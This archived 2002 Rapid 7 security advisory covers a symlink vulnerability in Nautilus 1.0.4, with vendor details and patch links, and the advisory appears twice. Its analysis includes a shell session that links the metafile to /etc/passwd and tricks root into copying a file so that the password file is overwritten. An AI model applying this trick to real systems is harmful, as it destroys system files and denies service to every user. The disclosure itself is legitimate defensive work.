R7-0003: Nautilus Symlink Vulnerability

From: Joe Testa (jtestaat_private)
Date: Thu May 02 2002 - 13:13:50 PDT

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    _______________________________________________________________________
                        Rapid 7, Inc. Security Advisory
    
               Visit http://www.rapid7.com/ to download NeXpose(tm), our
               advanced vulnerability scanner. Linux and Windows 2000
               versions are available now!
    _______________________________________________________________________
    
    Rapid 7 Advisory R7-0003: Nautilus Symlink Vulnerability
    
         Published:  05/02/2002
         Revision:   1.0
         CVE ID:     CAN-2002-0157
         Bugtraq ID: 4373
    
    
    1. Affected system(s):
    
         KNOWN VULNERABLE:
          o Nautilus 1.0.4
    
         Apparently NOT VULNERABLE:
    
    
    2. Summary
    
         Nautilus is a graphical shell for GNOME.  It contains a vulnerability
         which would allow a malicious user to mount a symlink attack to 
    overwrite
         another user's files.
    
    
    3. Vendor status and information
    
         Nautilus
         Eazel, Inc.
         http://nautilus.eazel.com/
    
         The Nautilus team was notified on 03/26/2002.
    
    
    4. Solution
    
         Upgrade to the latest version of Nautilus, available at
         http://cvs.gnome.org/lxr/source/nautilus/, or apply the appropriate
         patch:
    
    
         RedHat 7.2:
    
         SRPMS:
    ftp://updates.redhat.com/7.2/en/os/SRPMS/nautilus-1.0.4-46.src.rpm
    
         i386:
    ftp://updates.redhat.com/7.2/en/os/i386/nautilus-1.0.4-46.i386.rpm
    ftp://updates.redhat.com/7.2/en/os/i386/nautilus-devel-1.0.4-46.i386.rpm
    ftp://updates.redhat.com/7.2/en/os/i386/nautilus-mozilla-1.0.4-46.i386.rpm
    
         ia64:
    ftp://updates.redhat.com/7.2/en/os/ia64/nautilus-1.0.4-46.ia64.rpm
    ftp://updates.redhat.com/7.2/en/os/ia64/nautilus-devel-1.0.4-46.ia64.rpm
    
    
         Slackware:
    
    ftp://ftp.slackware.com/pub/slackware/slackware-8.0/patches/
    
    
    5. Detailed analysis
    
         When copying files from one directory to another, Nautilus creates a
         small (88+ bytes) XML file called '.nautilus-metafile.xml' in the 
    target
         directory.  It does not check if a symlink with the same name already
         exists there, and blindly writes XML data to it.  The following example
         shows how to cause a system-wide denial of service attack with this
         vulnerability:
    
         [jdog@imisshogs jdog]$ pwd
         /home/jdog
         [jdog@imisshogs jdog]$ cat /etc/passwd
         root:x:0:0:root:/root:/bin/bash
         bin:x:1:1:bin:/bin:/sbin/nologin
         daemon:x:2:2:daemon:/sbin:/sbin/nologin
         adm:x:3:4:adm:/var/adm:/sbin/nologin
         lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
         [...snip...]
         jdog:x:500:500::/home/jdog:/bin/bash
         [jdog@imisshogs jdog]$ ln -s /etc/passwd .nautilus-metafile.xml
         [jdog@imisshogs jdog]$ mail root
         Subject: Yo.
             Could you please copy "creepy-in-new-york.doc" to my home directory
         (/home/jdog)?  Thanks.
    
             - Joe
         Cc:
         [jdog@imisshogs jdog]$ sleep 86400
         [jdog@imisshogs jdog]$ ls -l *.doc
         -rw-r--r--    1 root     root           13 Mar 24 18:09 
    creepy-in-new-york.doc
         [jdog@imisshogs jdog]$ cat /etc/passwd
         <?xml version="1.0"?>
         <directory>
         <file name="creepy-in-new-york.doc" icon_position="55,105"/>
         </directory>
         [jdog@imisshogs jdog]$
    
    
    6. Contact Information
    
            Rapid 7 Security Advisories
            Email:   advisoryat_private
            Web:     http://www.rapid7.com/
            Phone:   +1 (212) 558-8700
    
    
    7. Disclaimer and Copyright
    
         Rapid 7, Inc. is not responsible for the misuse of the information
         provided in our security advisories. These advisories are a service
         to the professional security community.  There are NO WARRANTIES
         with regard to this information. Any application or distribution of
         this information constitutes acceptance AS IS, at the user's own
         risk.  This information is subject to change without notice.
    
         This advisory Copyright (C) 2002 Rapid 7, Inc.  Permission is
         hereby granted to redistribute this advisory in electronic media
         only, providing that no changes are made and that the copyright
         notices and disclaimers remain intact.  This advisory may not be
         printed or distributed in non-electronic media without the
         express written permission of Rapid 7, Inc.
    
    
    
    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1
    
    
    _______________________________________________________________________
                       Rapid 7, Inc. Security Advisory
    
              Visit http://www.rapid7.com/ to download NeXpose(tm), our
              advanced vulnerability scanner. Linux and Windows 2000
              versions are available now!
    _______________________________________________________________________
    
    Rapid 7 Advisory R7-0003: Nautilus Symlink Vulnerability
    
        Published:  05/02/2002
        Revision:   1.0
        CVE ID:     CAN-2002-0157
        Bugtraq ID: 4373
    
    
    1. Affected system(s):
    
        KNOWN VULNERABLE:
         o Nautilus 1.0.4
    
        Apparently NOT VULNERABLE:
    
    
    2. Summary
    
        Nautilus is a graphical shell for GNOME.  It contains a vulnerability
        which would allow a malicious user to mount a symlink attack to overwrite
        another user's files.
    
    
    3. Vendor status and information
    
        Nautilus
        Eazel, Inc.
        http://nautilus.eazel.com/
    
        The Nautilus team was notified on 03/26/2002.
    
    
    4. Solution
    
        Upgrade to the latest version of Nautilus, available at
        http://cvs.gnome.org/lxr/source/nautilus/, or apply the appropriate
        patch:
    
    
        RedHat 7.2:
    
        SRPMS:
    ftp://updates.redhat.com/7.2/en/os/SRPMS/nautilus-1.0.4-46.src.rpm
    
        i386:
    ftp://updates.redhat.com/7.2/en/os/i386/nautilus-1.0.4-46.i386.rpm
    ftp://updates.redhat.com/7.2/en/os/i386/nautilus-devel-1.0.4-46.i386.rpm
    ftp://updates.redhat.com/7.2/en/os/i386/nautilus-mozilla-1.0.4-46.i386.rpm
    
        ia64:
    ftp://updates.redhat.com/7.2/en/os/ia64/nautilus-1.0.4-46.ia64.rpm
    ftp://updates.redhat.com/7.2/en/os/ia64/nautilus-devel-1.0.4-46.ia64.rpm
    
    
        Slackware:
    
    ftp://ftp.slackware.com/pub/slackware/slackware-8.0/patches/
    
    
    5. Detailed analysis
    
        When copying files from one directory to another, Nautilus creates a
        small (88+ bytes) XML file called '.nautilus-metafile.xml' in the target
        directory.  It does not check if a symlink with the same name already
        exists there, and blindly writes XML data to it.  The following example
        shows how to cause a system-wide denial of service attack with this
        vulnerability:
    
        [jdog@imisshogs jdog]$ pwd
        /home/jdog
        [jdog@imisshogs jdog]$ cat /etc/passwd
        root:x:0:0:root:/root:/bin/bash
        bin:x:1:1:bin:/bin:/sbin/nologin
        daemon:x:2:2:daemon:/sbin:/sbin/nologin
        adm:x:3:4:adm:/var/adm:/sbin/nologin
        lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
        [...snip...]
        jdog:x:500:500::/home/jdog:/bin/bash
        [jdog@imisshogs jdog]$ ln -s /etc/passwd .nautilus-metafile.xml
        [jdog@imisshogs jdog]$ mail root
        Subject: Yo.
            Could you please copy "creepy-in-new-york.doc" to my home directory
        (/home/jdog)?  Thanks.
    
            - Joe
        Cc: 
        [jdog@imisshogs jdog]$ sleep 86400
        [jdog@imisshogs jdog]$ ls -l *.doc
        -rw-r--r--    1 root     root           13 Mar 24 18:09 creepy-in-new-york.doc
        [jdog@imisshogs jdog]$ cat /etc/passwd
        <?xml version="1.0"?>
        <directory>
        <file name="creepy-in-new-york.doc" icon_position="55,105"/>
        </directory>
        [jdog@imisshogs jdog]$
    
    
    6. Contact Information
    
           Rapid 7 Security Advisories
           Email:   advisoryat_private
           Web:     http://www.rapid7.com/
           Phone:   +1 (212) 558-8700
    
    
    7. Disclaimer and Copyright
    
        Rapid 7, Inc. is not responsible for the misuse of the information
        provided in our security advisories. These advisories are a service
        to the professional security community.  There are NO WARRANTIES
        with regard to this information. Any application or distribution of
        this information constitutes acceptance AS IS, at the user's own
        risk.  This information is subject to change without notice.
    
        This advisory Copyright (C) 2002 Rapid 7, Inc.  Permission is
        hereby granted to redistribute this advisory in electronic media
        only, providing that no changes are made and that the copyright
        notices and disclaimers remain intact.  This advisory may not be
        printed or distributed in non-electronic media without the
        express written permission of Rapid 7, Inc.
    
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